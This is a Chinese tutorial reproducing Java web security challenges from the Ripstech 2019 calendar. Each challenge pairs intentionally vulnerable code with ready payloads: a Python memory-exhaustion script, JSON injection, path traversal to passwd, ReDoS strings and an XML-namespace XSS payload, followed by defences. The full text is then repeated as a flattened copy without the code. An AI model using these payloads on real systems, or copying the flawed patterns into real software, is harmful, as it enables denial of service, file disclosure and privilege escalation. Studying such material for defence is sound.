Ripstech Java Security 2019 Calendar复现系列(二)
字数 1500 2025-08-25 22:59:02

Java安全漏洞复现与分析教学文档

目录

  1. Day5: StringBuilder导致的拒绝服务攻击
  2. Day6: readAllBytes()导致的拒绝服务攻击
  3. Day7: JSON注入导致的权限提升
  4. Day8: 路径遍历导致的未授权文件下载
  5. Day9: 正则表达式拒绝服务(ReDoS)
  6. Day10: XML响应中的XSS漏洞

Day5: StringBuilder导致的拒绝服务攻击

漏洞原理

StringBuilder在Java中默认使用大小为16的数组初始化,当数据超过当前容量时,数组大小会加倍。攻击者可以通过构造大量数据导致内存耗尽。

关键代码分析

public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
    Request request = new Request();
    request.toString(req);  // 可控参数传入StringBuilder
}

攻击方式

  1. 构造大量POST参数(默认Tomcat限制10000个)
  2. 使用大参数值(默认Tomcat限制2MB)
  3. 通过StringBuilder内部数组扩容机制放大内存消耗

复现步骤

  1. 环境搭建:IDEA + maven-archetype-webapp
  2. 构造恶意请求:
import requests
url = "http://localhost:8080/Day5_war_exploded/day5"
delim = "A"*1800000  # 1.8MB数据
data = "delim=" + delim
for i in range(1, 300):
    data += f"&A{i}=test_the_DoS"
header = {'content-type': "application/x-www-form-urlencoded"}
res = requests.post(url=url, data=data, headers=header)

防御措施

  1. 限制输入参数数量和大小
  2. 使用固定大小的StringBuffer
  3. 配置合理的JVM堆内存参数

Day6: readAllBytes()导致的拒绝服务攻击

漏洞原理

Files.readAllBytes()会读取整个文件到内存,当读取特殊文件(如/dev/urandom)时会导致无限读取,耗尽内存。

关键代码分析

Path path = Paths.get(request.getParameter("url"));  // 用户可控输入
byte[] bytes = Files.readAllBytes(path);  // 危险操作

攻击方式

  1. 指定特殊设备文件路径(如/dev/urandom)
  2. 导致无限读取,内存耗尽

复现步骤

  1. 发送恶意请求:
POST /day6 HTTP/1.1
url=/dev/urandom

防御措施

  1. 验证文件路径是否合法
  2. 限制读取文件大小
  3. 使用流式读取代替全量读取

Day7: JSON注入导致的权限提升

漏洞原理

未对用户输入的JSON字段进行过滤,导致可以注入额外字段,覆盖原有权限设置。

关键代码分析

// 存储JSON
String json = "{\"username\":\"" + username + "\",\"permission\":\"none\"}";

// 读取JSON时只取前两个字段
parser.nextToken();  // username字段
parser.nextToken();  // username值
String username = parser.getValueAsString();
parser.nextToken();  // permission字段
parser.nextToken();  // permission值
String permission = parser.getValueAsString();

攻击方式

  1. 构造恶意username参数:
username=xxx","permission":"all
  1. 生成JSON变为:
{
  "username":"xxx",
  "permission":"all",
  "permission":"none"
}
  1. 读取时获取到"all"权限

复现步骤

  1. 发送恶意请求:
POST /day7 HTTP/1.1
username=xxx%22%2C%22permission%22%3A%22all

防御措施

  1. 使用JSON库直接构建对象而非字符串拼接
  2. 对所有输入进行严格验证
  3. 使用白名单验证权限值

Day8: 路径遍历导致的未授权文件下载

漏洞原理

路径过滤不完整,仅过滤"../"但未过滤"..",导致可以访问上级目录。

关键代码分析

String getName(String input) {
    return input.replace("../", "");  // 不完全过滤
}

String filename = getName(request.getParameter("icons")) + 
                 getName(request.getParameter("filename"));
Path toDir = Paths.get("/var/myapp/data/");
Files.copy(toDir.resolve(filename), response.getOutputStream());

攻击方式

  1. 构造参数:
icons=..&filename=passwd
  1. 最终路径变为:/var/myapp/data/../passwd

复现步骤

  1. 发送恶意请求:
GET /day8?icons=..&filename=hacked.txt HTTP/1.1

防御措施

  1. 使用规范化路径API:Path.normalize()
  2. 检查规范化后路径是否在允许范围内
  3. 使用白名单限制文件类型

Day9: 正则表达式拒绝服务(ReDoS)

漏洞原理

攻击者控制正则表达式和待匹配字符串,构造恶意正则导致指数级时间复杂度的匹配操作。

关键代码分析

Pattern pattern = Pattern.compile("^(" + whitelist + ")$");
Matcher matcher = pattern.matcher(value);
return matcher.matches();

攻击方式

  1. 构造恶意正则和字符串:
whitelist=([a-z])+.)+[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaa
  1. 导致大量回溯,CPU耗尽

复现步骤

  1. 发送恶意请求:
POST /day9 HTTP/1.1
whitelist=([a-z])%2B.)%2B[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaa

防御措施

  1. 避免用户提供正则表达式
  2. 使用超时机制限制匹配时间
  3. 预编译安全正则表达式

Day10: XML响应中的XSS漏洞

漏洞原理

XML响应中未正确处理用户输入,导致可以注入XHTML命名空间的script标签。

关键代码分析

@ResponseBody
@RequestMapping(value = "/day10", produces = "text/xml")
public String day10(@RequestParam String name) {
    return "<response><text>Hello " + name + "</text></response>";
}

攻击方式

  1. 注入CDATA结束标记和XHTML script标签:
name=test]]><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><![CDATA[

复现步骤

  1. 发送恶意请求:
GET /day10?name=test%5D%5D%3E%3Csomething%3Ascript%09xmlns%3Asomething%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%22%3Ealert(1)%3C%2Fsomething%3Ascript%3E%3C!%5BCDATA%5B HTTP/1.1

防御措施

  1. 对所有输出进行XML编码
  2. 设置正确的Content-Type头
  3. 使用CSP策略限制脚本执行

总结

这些案例展示了Java Web应用中常见的安全问题,包括:

  1. 资源耗尽型攻击(DoS)
  2. 注入型攻击(JSON/XML/路径)
  3. 权限提升
  4. XSS攻击

防御的关键在于:

  • 永远不要信任用户输入
  • 使用安全的API和编码实践
  • 实施深度防御策略
  • 进行全面的安全测试
Java安全漏洞复现与分析教学文档 目录 Day5: StringBuilder导致的拒绝服务攻击 Day6: readAllBytes()导致的拒绝服务攻击 Day7: JSON注入导致的权限提升 Day8: 路径遍历导致的未授权文件下载 Day9: 正则表达式拒绝服务(ReDoS) Day10: XML响应中的XSS漏洞 Day5: StringBuilder导致的拒绝服务攻击 漏洞原理 StringBuilder 在Java中默认使用大小为16的数组初始化,当数据超过当前容量时,数组大小会加倍。攻击者可以通过构造大量数据导致内存耗尽。 关键代码分析 攻击方式 构造大量POST参数(默认Tomcat限制10000个) 使用大参数值(默认Tomcat限制2MB) 通过StringBuilder内部数组扩容机制放大内存消耗 复现步骤 环境搭建:IDEA + maven-archetype-webapp 构造恶意请求: 防御措施 限制输入参数数量和大小 使用固定大小的StringBuffer 配置合理的JVM堆内存参数 Day6: readAllBytes()导致的拒绝服务攻击 漏洞原理 Files.readAllBytes() 会读取整个文件到内存,当读取特殊文件(如/dev/urandom)时会导致无限读取,耗尽内存。 关键代码分析 攻击方式 指定特殊设备文件路径(如/dev/urandom) 导致无限读取,内存耗尽 复现步骤 发送恶意请求: 防御措施 验证文件路径是否合法 限制读取文件大小 使用流式读取代替全量读取 Day7: JSON注入导致的权限提升 漏洞原理 未对用户输入的JSON字段进行过滤,导致可以注入额外字段,覆盖原有权限设置。 关键代码分析 攻击方式 构造恶意username参数: 生成JSON变为: 读取时获取到"all"权限 复现步骤 发送恶意请求: 防御措施 使用JSON库直接构建对象而非字符串拼接 对所有输入进行严格验证 使用白名单验证权限值 Day8: 路径遍历导致的未授权文件下载 漏洞原理 路径过滤不完整,仅过滤"../"但未过滤"..",导致可以访问上级目录。 关键代码分析 攻击方式 构造参数: 最终路径变为: /var/myapp/data/../passwd 复现步骤 发送恶意请求: 防御措施 使用规范化路径API: Path.normalize() 检查规范化后路径是否在允许范围内 使用白名单限制文件类型 Day9: 正则表达式拒绝服务(ReDoS) 漏洞原理 攻击者控制正则表达式和待匹配字符串,构造恶意正则导致指数级时间复杂度的匹配操作。 关键代码分析 攻击方式 构造恶意正则和字符串: 导致大量回溯,CPU耗尽 复现步骤 发送恶意请求: 防御措施 避免用户提供正则表达式 使用超时机制限制匹配时间 预编译安全正则表达式 Day10: XML响应中的XSS漏洞 漏洞原理 XML响应中未正确处理用户输入,导致可以注入XHTML命名空间的script标签。 关键代码分析 攻击方式 注入CDATA结束标记和XHTML script标签: 复现步骤 发送恶意请求: 防御措施 对所有输出进行XML编码 设置正确的Content-Type头 使用CSP策略限制脚本执行 总结 这些案例展示了Java Web应用中常见的安全问题,包括: 资源耗尽型攻击(DoS) 注入型攻击(JSON/XML/路径) 权限提升 XSS攻击 防御的关键在于: 永远不要信任用户输入 使用安全的API和编码实践 实施深度防御策略 进行全面的安全测试